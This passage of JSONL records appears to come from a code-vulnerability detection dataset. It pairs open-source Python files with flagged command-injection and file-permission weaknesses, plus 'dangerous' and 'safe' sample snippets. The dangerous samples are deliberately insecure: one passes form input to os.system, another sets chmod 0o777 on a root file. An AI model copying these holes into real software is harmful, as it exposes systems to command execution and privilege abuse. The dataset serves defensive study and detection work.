temporary directory.\"\"\"\n directory = mkdtemp(suffix=suffix)\n return Path(directory)\n\n\ndef flatten_dict(d, climb=False, safemode=False):\n \"\"\"\n Flattens a nested dictionary containing only string keys.\n\n This will work for dictionaries which don't have two equivalent\n keys at the same level. If you're worried about this, use safemode=True.\n\n Partially taken from https://stackoverflow.com/a/6043835.\n\n Parameters\n ----------\n climb: :class:`bool`, :code:`False`\n Whether to keep trunk or leaf-values, for items with the same key.\n safemode: :class:`bool`, :code:`True`\n Whether to keep all keys as a tuple index, to avoid issues with\n conflicts.\n\n Returns\n -------\n :class:`dict`\n Flattened dictionary.\n \"\"\"\n lift = lambda x: (x,)\n join = operator.add\n results = []\n\n def visit(subdict, results, partialKey):\n for k, v in subdict.items():\n if partialKey == _FLAG_FIRST:\n newKey = lift(k)\n else:\n newKey = join(partialKey, lift(k))\n if isinstance(v, Mapping):\n visit(v, results, newKey)\n else:\n results.append((newKey, v))\n\n visit(d, results, _FLAG_FIRST)\n\n if safemode:\n pick_key = lambda keys: keys\n else:\n pick_key = lambda keys: keys[-1]\n\n sort = map(\n lambda x: x[:2],\n sorted([(pick_key(k), v, len(k)) for k, v in results], key=lambda x: x[-1]),\n ) # sorted by depth\n\n if not climb:\n # We go down the tree, and prioritise the trunk values\n items = sort\n else:\n # We prioritise the leaf values\n items = [i for i in sort][::-1]\n return dict(items)\n\n\ndef swap_item(startlist: list, pull: object, push: object):\n \"\"\"\n Swap a specified item in a list for another.\n\n Parameters\n ----------\n startlist : :class:`list`\n List to replace item within.\n pull\n Item to replace in the list.\n push\n Item to add into the list.\n\n Returns\n -------\n list\n \"\"\"\n return [[i, push][i == pull] for i in startlist]\n\n\ndef copy_file(src, dst, ext=None, permissions=None):\n \"\"\"\n Copy a file from one place to another.\n Uses the full filepath including name.\n\n Parameters\n ----------\n src : :class:`str` | :class:`pathlib.Path`\n Source filepath.\n dst : :class:`str` | :class:`pathlib.Path`\n Destination filepath or directory.\n ext : :class:`str`, :code:`None`\n Optional file extension specification.\n \"\"\"\n src = Path(src)\n dst = Path(dst)\n\n if dst.is_dir():\n dst = dst / src.name\n\n if ext is not None:\n src = src.with_suffix(ext)\n dst = dst.with_suffix(ext)\n\n logger.debug(\"Copying from {} to {}\".format(src, dst))\n with open(str(src), \"rb\") as fin:\n with open(str(dst), \"wb\") as fout:\n shutil.copyfileobj(fin, fout)\n\n if permissions is not None:\n os.chmod(str(dst), permissions)\n\n\ndef remove_tempdir(directory):\n \"\"\"\n Remove a specific directory, contained files and sub-directories.\n\n Parameters\n ----------\n directory: str, Path\n Path to directory.\n \"\"\"\n directory = Path(directory)\n try:\n shutil.rmtree(str(directory))\n assert not directory.exists()\n except PermissionError:\n pass", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 162, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "162"}}, {"lineNo": 163, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "b21267ace2f479c15aada83b7a32f47e380e7dca283e28c4b0c3e7245e2e889f", "license": {"spdx": ["Apache-2.0"], "repo": "richmattes/ament_tools", "path": "ament_tools/setup_arguments.py", "repo_head_hexsha": "2a25cdcc273fcd73e81e8a47fe892a0b5963307d", "stack_hexsha": "76fb80b4170accbe860db8c0999717d64544977e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 62, "entireCode": "# Copyright 2015 Open Source Robotics Foundation, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport ast\nimport distutils.core\nimport os\ntry:\n import setuptools\nexcept ImportError:\n pass\nimport subprocess\nimport sys\nfrom threading import Lock\n\nfrom ament_tools.build_type import get_command_prefix\nfrom ament_tools.helper import quote_shell_command\n\nsetup_lock = None\n\n\ndef get_setup_arguments_with_context(build_type, context):\n \"\"\"\n Capture the arguments of the setup() function in the setup.py file.\n\n To provide a custom environment when introspecting the setup() function\n a separate Python interpreter is being used which can have an extended\n PYTHONPATH etc.\n\n :param build_type: the build type\n :param context: the context\n :type context: :py:class:`ament_tools.context.Context`\n :returns: a dictionary containing the arguments of the setup() function\n \"\"\"\n prefix = get_command_prefix(\n '%s__setup' % build_type, context.build_space,\n context.build_dependencies)\n ament_tools_path = os.path.dirname(os.path.dirname(__file__))\n setuppy = os.path.join(context.source_space, 'setup.py')\n if os.name == 'nt':\n ament_tools_path = ament_tools_path.replace(os.sep, os.altsep)\n setuppy = setuppy.replace(os.sep, os.altsep)\n code_lines = [\n 'import sys',\n \"sys.path.insert(0, '%s')\" % ament_tools_path,\n 'from ament_tools.setup_arguments import get_setup_arguments',\n \"print(repr(get_setup_arguments('%s')))\" % setuppy]\n\n # invoke get_setup_arguments() in a separate interpreter\n cmd = prefix + [sys.executable, '-c', ';'.join(code_lines)]\n cmd = quote_shell_command(cmd)\n result = subprocess.run(\n cmd, stdout=subprocess.PIPE, shell=True, check=True)\n output = result.stdout.decode()\n\n return ast.literal_eval(output)\n\n\ndef get_setup_arguments(setup_py_path):\n \"\"\"\n Capture the arguments of the setup() function in the setup.py file.\n\n The function is being run within the current Python interpreter.\n Therefore the processed setup.py file can not have any additional\n dependencies not available in the current environment.\n\n :param setup_py_path: the path to the setup.py file\n :returns: a dictionary containing the arguments of the setup() function\n \"\"\"\n global setup_lock\n if not setup_lock:\n setup_lock = Lock()\n assert os.path.basename(setup_py_path) == 'setup.py'\n # prevent side effects in other threads\n with setup_lock:\n # change to the directory containing the setup.py file\n old_cwd = os.getcwd()\n os.chdir(os.path.dirname(os.path.abspath(setup_py_path)))\n try:\n data = {}\n mock_setup = create_mock_setup_function(data)\n # replace setup() function of distutils and setuptools\n # in order to capture its arguments\n try:\n distutils_setup = distutils.core.setup\n distutils.core.setup = mock_setup\n try:\n setuptools_setup = setuptools.setup\n setuptools.setup = mock_setup\n except NameError:\n pass\n # evaluate the setup.py file\n with open('setup.py', 'r') as h:\n exec(h.read())\n finally:\n distutils.core.setup = distutils_setup\n try:\n setuptools.setup = setuptools_setup\n except NameError:\n pass\n return data\n\n finally:\n os.chdir(old_cwd)\n\n\ndef create_mock_setup_function(data):\n \"\"\"\n Create a mock function to capture its arguments.\n\n It can replace either distutils.core.setup or setuptools.setup.\n\n :param data: a dictionary which is updated with the captured arguments\n :returns: a function to replace disutils.core.setup and setuptools.setup\n \"\"\"\n def setup(*args, **kwargs):\n if args:\n raise RuntimeError(\n 'setup() function invoked with positional arguments')\n\n if 'name' not in kwargs:\n raise RuntimeError(\n \"setup() function invoked without the keyword argument 'name'\")\n\n data.update(kwargs)\n\n return setup\n\n\ndef get_data_files_mapping(data_files):\n \"\"\"\n Transform the data_files structure into a dictionary.\n\n :param data_files: either a list of source files or\n a list of tuples where the first element is the destination path and\n the second element is a list of source files\n :returns: a dictionary mapping the source file to a destination file\n \"\"\"\n mapping = {}\n for data_file in data_files:\n if isinstance(data_file, tuple):\n assert len(data_file) == 2\n dest = data_file[0]\n assert not os.path.isabs(dest)\n sources = data_file[1]\n assert isinstance(sources, list)\n for source in sources:\n assert not os.path.isabs(source)\n mapping[source] = os.path.join(dest, os.path.basename(source))\n else:\n assert not os.path.isabs(data_file)\n mapping[data_file] = os.path.basename(data_file)\n return mapping", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 62, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "70e5f78ae87d5bfa5ec1f1cf8781b1b101b5f40ca3787691a1e17afc3eb87137", "license": {"spdx": ["Apache-2.0"], "repo": "gregbdunn/firecracker", "path": "tests/integration_tests/security/test_seccomp.py", "repo_head_hexsha": "e7bc0a1f9b70deaa7bfd9eb641e0c7982fe63e68", "stack_hexsha": "bcc4fcfb44a442a2523238a8484bf80417464006", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 30, "entireCode": "# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"Tests that the seccomp filters don't let blacklisted syscalls through.\"\"\"\n\nimport os\n\nfrom subprocess import run\n\nimport pytest\n\nimport host_tools.cargo_build as host # pylint:disable=import-error\n\n\n@pytest.fixture\ndef tmp_basic_jailer(test_session_root_path):\n \"\"\"Build `demo_basic_jailer`, required for the basic seccomp tests.\n\n :return: The paths of the built binary.\n \"\"\"\n binaries_srcdir = os.path.normpath(\n os.path.join(\n os.getcwd(),\n 'integration_tests/security/demo_advanced_seccomp/'\n )\n )\n build_path = os.path.join(\n test_session_root_path,\n host.CARGO_RELEASE_REL_PATH\n )\n run(\"cd {} && CARGO_TARGET_DIR={} cargo build --release\".format(\n binaries_srcdir, build_path), shell=True, check=True)\n\n release_binaries_path = os.path.join(\n host.CARGO_RELEASE_REL_PATH,\n host.RELEASE_BINARIES_REL_PATH\n )\n release_binaries_path = os.path.join(\n test_session_root_path,\n release_binaries_path\n )\n demo_basic_jailer = os.path.normpath(\n os.path.join(\n release_binaries_path,\n 'demo_basic_jailer'\n )\n )\n\n yield demo_basic_jailer\n\n os.remove(demo_basic_jailer)\n\n\n@pytest.fixture\ndef tmp_advanced_seccomp_binaries(test_session_root_path):\n \"\"\"\n Build binaries required for the advanced seccomp tests.\n\n Build `demo_advanced_jailer`, `demo_harmless_firecracker`, and\n `demo_malicious_firecracker.\n :return: The paths of the built binaries.\n \"\"\"\n binaries_srcdir = os.path.normpath(\n os.path.join(\n os.getcwd(),\n 'integration_tests/security/demo_advanced_seccomp/'\n )\n )\n build_path = os.path.join(\n test_session_root_path,\n host.CARGO_RELEASE_REL_PATH\n )\n run(\"cd {} && CARGO_TARGET_DIR={} cargo build --release\".format(\n binaries_srcdir, build_path), shell=True, check=True)\n\n release_binaries_path = os.path.join(\n host.CARGO_RELEASE_REL_PATH,\n host.RELEASE_BINARIES_REL_PATH\n )\n release_binaries_path = os.path.join(\n test_session_root_path,\n release_binaries_path\n )\n demo_advanced_jailer = os.path.normpath(\n os.path.join(\n release_binaries_path,\n 'demo_advanced_jailer'\n )\n )\n demo_harmless_firecracker = os.path.normpath(\n os.path.join(\n release_binaries_path,\n 'demo_harmless_firecracker'\n )\n )\n demo_malicious_firecracker = os.path.normpath(\n os.path.join(\n release_binaries_path,\n 'demo_malicious_firecracker'\n )\n )\n\n yield \\\n demo_advanced_jailer, \\\n demo_harmless_firecracker, \\\n demo_malicious_firecracker\n\n os.remove(demo_advanced_jailer)\n os.remove(demo_harmless_firecracker)\n os.remove(demo_malicious_firecracker)\n\n\ndef test_seccomp_ls(tmp_basic_jailer):\n \"\"\"Assert that the seccomp filters deny a blacklisted syscall.\"\"\"\n # pylint: disable=redefined-outer-name\n # The fixture pattern causes a pylint false positive for that rule.\n\n # Path to the `ls` binary, which attempts to execute `SYS_access`,\n # blacklisted for Firecracker.\n ls_command_path = '/bin/ls'\n demo_jailer = tmp_basic_jailer\n\n assert os.path.exists(demo_jailer)\n\n # Compile the mini jailer.\n outcome = run([demo_jailer, ls_command_path])\n\n # The seccomp filters should send SIGSYS (31) to the binary. `ls` doesn't\n # handle it, so it will exit with error.\n assert outcome.returncode != 0\n\n\ndef test_advanced_seccomp_harmless(tmp_advanced_seccomp_binaries):\n \"\"\"\n Test `demo_harmless_firecracker`.\n\n Test that the built demo jailer allows the built demo harmless firecracker.\n \"\"\"\n # pylint: disable=redefined-outer-name\n # The fixture pattern causes a pylint false positive for that rule.\n\n demo_advanced_jailer, demo_harmless_firecracker, _ =\\\n tmp_advanced_seccomp_binaries\n\n assert os.path.exists(demo_advanced_jailer)\n assert os.path.exists(demo_harmless_firecracker)\n\n outcome = run([demo_advanced_jailer, demo_harmless_firecracker])\n\n # The demo harmless firecracker should have terminated gracefully.\n assert outcome.returncode == 0\n\n\ndef test_advanced_seccomp_malicious(tmp_advanced_seccomp_binaries):\n \"\"\"\n Test `demo_malicious_firecracker`.\n\n Test that the built demo jailer denies the built demo malicious\n firecracker.\n \"\"\"\n # pylint: disable=redefined-outer-name\n # The fixture pattern causes a pylint false positive for that rule.\n\n demo_advanced_jailer, _, demo_malicious_firecracker =\\\n tmp_advanced_seccomp_binaries\n\n assert os.path.exists(demo_advanced_jailer)\n assert os.path.exists(demo_malicious_firecracker)\n\n outcome = run([demo_advanced_jailer, demo_malicious_firecracker])\n\n # The demo malicious firecracker should have received `SIGSYS`.\n assert outcome.returncode != 0", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "de72a6a646a3ee4c8de9a35aace2ffafe0b00e15cfef1776f8e28cb337251db1", "license": {"spdx": ["MIT"], "repo": "zainamir-98/bioradar", "path": "scripts/GUI_restart.py", "repo_head_hexsha": "b826ed869a58778a321153dae3c93f17f40d2f7a", "stack_hexsha": "97d6b1b1207de186f313949afee6fd694df16691", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 17, "entireCode": "# Use this command if numpy import fails: sudo apt-get install python-dev libatlas-base-dev\n# If this doesn't work, uninstall both numpy and scipy. Thonny will keep an older default version of numpy.\n# Install an older version of scipy that corresponds to the correct version of numpy.\n\nfrom guizero import App, PushButton, Slider, Text, ButtonGroup, Picture, Box, CheckBox\nimport sys\nimport time\nimport subprocess\nimport os\n\nDEBUG_MODE = False\n#CONT_REALTIME_MONITORING = False\n\ndef gui_open_rr_hr():\n app.destroy()\n #os.system(\"cmd /c py final.py -u\")\n process = subprocess.run('python3 scripts/run_rr_hr.py -u', shell=True)\n \ndef gui_open_hrv_hr():\n app.destroy()\n process = subprocess.run('python3 scripts/run_hrv_hr.py -u', shell=True)\n\ndef gui_go_to_connect():\n print(\"Connecting...\")\n start_menu_box.hide()\n connect_menu_box.show()\n \n start_footer_box.hide()\n other_footer_box.show()\n \n connect_menu_text2.hide()\n # Connection function\n connect_menu_text.after(1000, gui_check_connection)\n \ndef gui_go_to_manual():\n start_menu_box.hide()\n manual_menu_box.show()\n \n start_footer_box.hide()\n other_footer_box.show()\n \ndef gui_check_connection():\n connect_menu_text.value = \"Connected!\"\n connect_menu_text2.show()\n \ndef gui_go_back_to_menu():\n connect_menu_box.hide()\n manual_menu_box.hide()\n if connect_menu_text.value == \"Connected!\":\n connect_menu_text.value = \"Connecting to MyVitals...\"\n \n start_menu_box.show()\n other_footer_box.hide()\n start_footer_box.show()\n \n\napp = App(title=\"BioRadar (Prototype)\", width=480, height=320, bg=\"#141414\")\nif not DEBUG_MODE:\n app.full_screen = True\n\nstart_menu_box = Box(app, width=\"fill\")\npad_1 = Box(start_menu_box, width=\"fill\", height=20)\nbox_1 = Box(start_menu_box, width=\"fill\")\npad_1_2 = Box(box_1, width=140, height=1, align=\"left\")\npicture = Picture(box_1, image=\"images/brlogo.png\", width=51, height=40, align=\"left\") # W:H = 1.277\npad_1_2 = Box(box_1, width=10, height=1, align=\"left\")\nmessage = Text(box_1, text=\"BioRadar\", color=\"#FFFFFF\", size=20, align=\"left\")\npad_2 = Box(start_menu_box, width=\"fill\", height=40)\nmessage = Text(start_menu_box, text=\"Select how you want to monitor your vitals.\", color=\"#FFFFFF\", size=15)\npad_3 = Box(start_menu_box, width=\"fill\", height=18)\nbutton1 = PushButton(start_menu_box, text=\"Online mode\", command=gui_go_to_connect)\nbutton1.bg = \"#6ED3A9\"\npad_4 = Box(start_menu_box, width=\"fill\", height=10)\nbutton2 = PushButton(start_menu_box, text=\"Manual mode\", command=gui_go_to_manual)\nbutton2.bg = \"#6ED3A9\"\nstart_menu_box.hide()\n\nconnect_menu_box = Box(app, width=\"fill\")\npad_1 = Box(connect_menu_box, width=\"fill\", height=100)\nconnect_menu_text = Text(connect_menu_box, text=\"Connecting to MyVitals...\", color=\"#FFFFFF\", size=20)\npad_2 = Box(connect_menu_box, width=\"fill\", height=30)\nconnect_menu_text2 = Text(connect_menu_box, text=\"Waiting for online commands...\", color=\"#FFFFFF\", size=16)\nconnect_menu_box.hide()\n\n# Manual mode\n\nmanual_menu_box = Box(app, width=\"fill\")\npad = Box(manual_menu_box, width=\"fill\", height=20)\nmanual_menu_text = Text(manual_menu_box, text=\"Manual Mode\", color=\"#FFFFFF\", size=20)\npad = Box(manual_menu_box, width=\"fill\", height=50)\nbutton_box = Box(manual_menu_box, width=460, height=90)\nbutton1 = PushButton(button_box, text=\"Respiration Rate\\nHeart Rate\", command=gui_open_rr_hr, align=\"left\")\npad = Box(button_box, width=10, height=90, align=\"left\")\nbutton2 = PushButton(button_box, text=\"Heart Rate Variability\\nHeart Rate*\", command=gui_open_hrv_hr, align=\"right\")\nbutton1.text_size = 16\nbutton2.text_size = 16\nbutton1.bg = \"#6ED3A9\"\nbutton2.bg = \"#6ED3A9\"\npad = Box(manual_menu_box, width=\"fill\", height=30)\npad = Box(manual_menu_box, width=\"fill\", height=6)\ntxt = Text(manual_menu_box, text=\"* You will need to hold your breath for 10 seconds for\\nheart rate variability measurements.\", color=\"#C8C8C8\", size=11)\n\n# Footers\n\nstart_footer_box = Box(app, width=\"fill\", align=\"bottom\")\nfyp_text = Text(start_footer_box, text=\" © 2021 Final-Year Project, SEECS, NUST\", color=\"#C8C8C8\", size=11, align=\"left\")\nexit_button = PushButton(start_footer_box, text=\"Exit\", align=\"right\", command=exit)\nexit_button.bg = \"#6ED3A9\"\nstart_footer_box.hide()\n\nother_footer_box = Box(app, width=\"fill\", align=\"bottom\")\nexit_button = PushButton(other_footer_box, text=\"Exit\", align=\"right\", command=exit)\nexit_button.bg = \"#6ED3A9\"\nback_button = PushButton(other_footer_box, text=\"Back\", align=\"right\", command=gui_go_back_to_menu)\nback_button.bg = \"#6ED3A9\"\n \napp.display()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "6c2ebe917047671e41f7519bf39091927b71315d50808e8fa14fdc4cdd09cf6a", "license": {"spdx": ["MIT"], "repo": "Ann-Holmes/CellO", "path": "cello/download_resources.py", "repo_head_hexsha": "bc2192a2d27e0859f6df885a6fc246e26e54a7b0", "stack_hexsha": "e13147c692ddf6997325ddaffddf29246eba0b66", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 31, "entireCode": "\"\"\"\nDownload CellO's resources files. These files include CellO's pre-trained\nmodels, gene ID-to-symbol mappings, and training sets for training CellO's\nmodels on new gene sets.\n\nAuthors: <>\n\"\"\"\n\nimport subprocess\nfrom os.path import join\nfrom shutil import which\n\ndef download(dest):\n if which('curl') is None:\n sys.exit(\n \"\"\"\n Error. Could not find command, 'curl'. Please make sure that \n curl is installed and available via the 'PATH' variable. For \n details, see https://curl.se.\n \"\"\"\n )\n cmds = [\n 'curl http://deweylab.biostat.wisc.edu/cell_type_classification/resources_v2.0.0.tar.gz > {}'.format(\n join(dest, 'resources_v2.0.0.tar.gz')\n ),\n 'tar -C {} -zxf resources_v2.0.0.tar.gz'.format(dest),\n 'rm {}'.format(join(dest, 'resources_v2.0.0.tar.gz'))\n ]\n for cmd in cmds:\n print('Running command: {}'.format(cmd))\n subprocess.run(cmd, shell=True)\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "5cd2ee4e7960dd12b7840f3ce11747047d35ea26b39574b27255c4cd8f8a1703", "license": {"spdx": ["Unlicense"], "repo": "ColdStack-Network/blockchain", "path": "deploy/deploy.py", "repo_head_hexsha": "3852f888e9d184a4fbc71365514a55dd9c510adb", "stack_hexsha": "b2666be5a27dd8e787680368717223bfc00f077e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 30, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport subprocess\nimport json\n\nparser = argparse.ArgumentParser(description='Deploy blockchain')\nparser.add_argument('--validator-node', \n help='validator node ssh address. First node becomes boot node and active validator.', \n nargs='+'\n)\nparser.add_argument('--api-node', help='api node ssh address', nargs='+', default=[])\nparser.add_argument('--boot-node-addr', help='first (boot) node ip address', required=True)\nparser.add_argument('--secrets', help='secrets file', required=True)\nparser.add_argument('--env', help='production or staging', choices=['prod', 'stage'], required=True)\nparser.add_argument('--tag', help='tag of docker image', required=True)\nparser.add_argument('--with-existing-data', \n help='Do not initialize data directory, just start containers', \n action='store_true'\n)\nargs = parser.parse_args()\n\nprint('Parsed CLI args', args)\n\ndef read_secrets_file():\n with open(args.secrets, 'r') as file:\n return json.loads(file.read())\n\ndef run(command, input=None):\n subprocess.run(command, shell=True, check=True, text=True, input=input)\n\ndef run_ssh(host, input, sudo=False):\n print('run command on host', host)\n print(input)\n print('\\n')\n if sudo:\n run('ssh ' + host + ' sudo bash -e' , input)\n else:\n run('ssh ' + host + ' bash -e' , input)\n\ndef prepare_blockchain_dir(host):\n print('creating blockchain directory on host', host)\n run_ssh(host, \n f\"\"\"\n mkdir -p /var/blockchain\n chown 1000.1000 /var/blockchain -R\n \"\"\",\n sudo=True\n )\n\ndef init_node(host):\n print('Initialize node', host)\n prepare_blockchain_dir(host)\n\ndef init_keystore(host):\n print('Initialize keystore', host)\n key_types = dict(aura = 'Sr25519', gran = 'Ed25519')\n for key_type in key_types:\n scheme = key_types[key_type]\n key_file_name = f\"blockchain_deploy_key_{key_type}\"\n with open(f\"/tmp/{key_file_name}\", 'w') as file:\n file.write(secrets['authorities'][0])\n\n print(f\"Copy authority key file {key_type}\", host)\n run(f\"scp /tmp/{key_file_name} {host}:/tmp\")\n\n print(f\"Initializing key store for {key_type}\", host)\n try:\n input = f\"docker run \\\n -v /var/blockchain:/data \\\n -v /tmp:/keys \\\n --rm \\\n coldstack/privatechain:{args.tag} key insert \\\n --chain /chainspec/{args.env}.json \\\n --key-type {key_type} \\\n --scheme {scheme} \\\n --suri /keys/{key_file_name} \\\n \"\n run_ssh(host, input)\n finally:\n print('Removing authority key file', host)\n run_ssh(host, f\"rm /tmp/{key_file_name}\")\n\n\ndef run_api_node(host):\n print('Run API node on host', host)\n if not args.with_existing_data:\n init_node(host)\n input = f\"docker run \\\n -d \\\n --restart unless-stopped \\\n -p 30333:30333 \\\n -p 9933:9933 \\\n -p 9944:9944 \\\n -v /var/blockchain:/data \\\n coldstack/privatechain:{args.tag} \\\n --name 'Coldstack Public {args.env}' \\\n --pruning archive \\\n --no-telemetry --no-prometheus \\\n --chain /chainspec/{args.env}.json \\\n --execution wasm \\\n --port 30333 \\\n --ws-port 9944 \\\n --rpc-external \\\n --ws-external \\\n --rpc-port 9933 \\\n --rpc-cors all \\\n --bootnodes /ip4/{args.boot_node_addr}/tcp/30333/p2p/{secrets['peer_id']} 